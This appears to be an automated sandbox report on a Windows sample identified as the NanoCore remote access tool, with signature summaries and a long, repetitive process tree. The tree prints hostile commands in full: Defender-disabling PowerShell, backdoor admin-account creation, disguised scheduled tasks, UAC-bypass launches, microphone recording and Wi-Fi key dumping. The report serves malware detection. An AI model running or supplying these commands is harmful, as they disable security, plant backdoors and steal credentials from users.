Analysis
- max time kernel
0s - max time network
47s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
03/08/2026, 13:32
Errors
Reason
Machine shutdown
General
- Target ozotop.io_new.exe
- Size 25KB
- Sample260803-qs3yback6v
- SHA256 5cbbed9d51dfd6d6c800d68c1df5b23921988e533ad2cc4e0713c3cd4f501fe5
Score
10/10
Malware Config
Extracted
Family
-
nanocore
Attributes
-
c2_port
443
Signatures
- Family: NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
- Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
- Disables one or more Microsoft Defender components 1 TTPs 24 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Creates a file in the Startup directory 1 TTPs 1 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Adds Run key to start application 2 TTPs 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 35 IoCs
Using powershell.exe command.
- Creates a new local user account 1 TTPs 46 IoCs
Uses net.exe to create a new local user account, often for persistence or a backdoor account.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 11 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 23 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"1⤵
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\88560d21-26c1-4c0f-8469-501c1fe5522a.inf2⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"2⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"3⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"3⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\cb6723ed-19df-43d2-bc7c-5a88885efc0b.inf4⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"4⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"5⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"5⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe" /sc onlogon /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\83daad03-8428-43b0-955d-3491a2a6d50c.inf6⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"6⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"7⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"7⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe" /sc onlogon /f8⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\439d0e0a-7988-42c9-a7d8-9f165669d884.inf8⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"8⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"9⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"9⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe" /sc onlogon /f10⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\009b8ed7-3025-4cc1-9c54-2c60f0b61ea7.inf10⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"10⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"11⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"10⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"11⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe" /sc onlogon /f12⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\92ae32f8-40a9-44ee-9a1c-bbbd5a23d2ca.inf12⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"12⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"13⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"12⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"13⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe" /sc onlogon /f14⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\96ba66d0-b641-4a8b-95b7-b994ef0a226d.inf14⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"14⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"15⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"14⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"15⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe" /sc onlogon /f16⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\5803464e-4310-40fe-82a7-6f7b30926320.inf16⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"16⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"17⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"16⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"17⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe" /sc onlogon /f18⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\b3a09fa4-4ad9-4dd7-969a-7a483a3ac811.inf18⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"18⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"19⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"18⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"19⤵
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"20⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"21⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"20⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"20⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"18⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add18⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add19⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add18⤵
-
-
C:\Windows\SYSTEM32\notepad.exe"notepad.exe"18⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"16⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add16⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add17⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add16⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add17⤵
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"14⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add14⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add15⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add14⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add15⤵
-
-
-
C:\Windows\SYSTEM32\notepad.exe"notepad.exe"14⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"12⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add12⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add13⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add12⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add13⤵
-
-
-
C:\Windows\SYSTEM32\notepad.exe"notepad.exe"12⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"10⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add10⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add11⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add10⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add11⤵
-
-
-
C:\Windows\SYSTEM32\notepad.exe"notepad.exe"10⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639213643949380750.wav')"10⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh" wlan show profiles key=clear10⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"8⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add8⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add9⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add8⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add9⤵
-
-
-
C:\Windows\SYSTEM32\notepad.exe"notepad.exe"8⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639213643949380750.wav')"8⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh" wlan show profiles key=clear8⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"6⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add6⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add7⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add6⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add7⤵
-
-
-
C:\Windows\SYSTEM32\notepad.exe"notepad.exe"6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639213643952037360.wav')"6⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh" wlan show profiles key=clear6⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add4⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add5⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add4⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add5⤵
-
-
-
C:\Windows\SYSTEM32\notepad.exe"notepad.exe"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639213643951880853.wav')"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh" wlan show profiles key=clear4⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"2⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add2⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add3⤵
- Creates a new local user account
-
-
-
C:\Windows\SYSTEM32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add2⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add3⤵
-
-
-
C:\Windows\SYSTEM32\notepad.exe"notepad.exe"2⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639213643951880853.wav')"2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SYSTEM32\netsh.exe"netsh" wlan show profiles key=clear2⤵
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exeC:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe1⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\4f33e421-dbc7-410c-a562-e89a32177838.inf2⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"2⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"3⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"3⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\fdd4cfcb-d9c6-45a5-ac7b-1600831f7003.inf4⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"4⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"5⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"5⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe" /sc onlogon /f6⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\abe1ce50-6437-4c4d-a671-df35b3875590.inf6⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"6⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"7⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"7⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe" /sc onlogon /f8⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\04d14dab-da5a-479c-960b-9254774be1c1.inf8⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"8⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"9⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"9⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe" /sc onlogon /f10⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\2bc6398a-f55e-4e93-b6db-c02a5f1a5a0c.inf10⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"10⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"11⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"10⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"11⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe" /sc onlogon /f12⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\a8b4c6bc-5bf8-4a55-a25e-442c93c2e897.inf12⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"12⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"13⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"12⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"13⤵
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe" /sc onlogon /f14⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\System32\cmstp.exe"C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\9774776a-0af2-4596-8485-535e412acbb4.inf14⤵
-
-
C:\Windows\System32\eventvwr.exe"C:\Windows\System32\eventvwr.exe"14⤵
-
C:\Windows\system32\mmc.exe"C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"15⤵
-
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"14⤵
-
C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"C:\Users\Admin\AppData\Local\Temp\ozotop.io_new.exe"15⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"14⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add14⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add15⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add14⤵
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"12⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add12⤵
- Creates a new local user account
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add13⤵
- Creates a new local user account
-
-
-
C:\Windows\system32\net.exe"net.exe" localgroup Administrators WindowsUpdater /add12⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add13⤵
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"10⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\system32\net.exe"net.exe" user WindowsUpdater P@ssw0rd123 /add10⤵
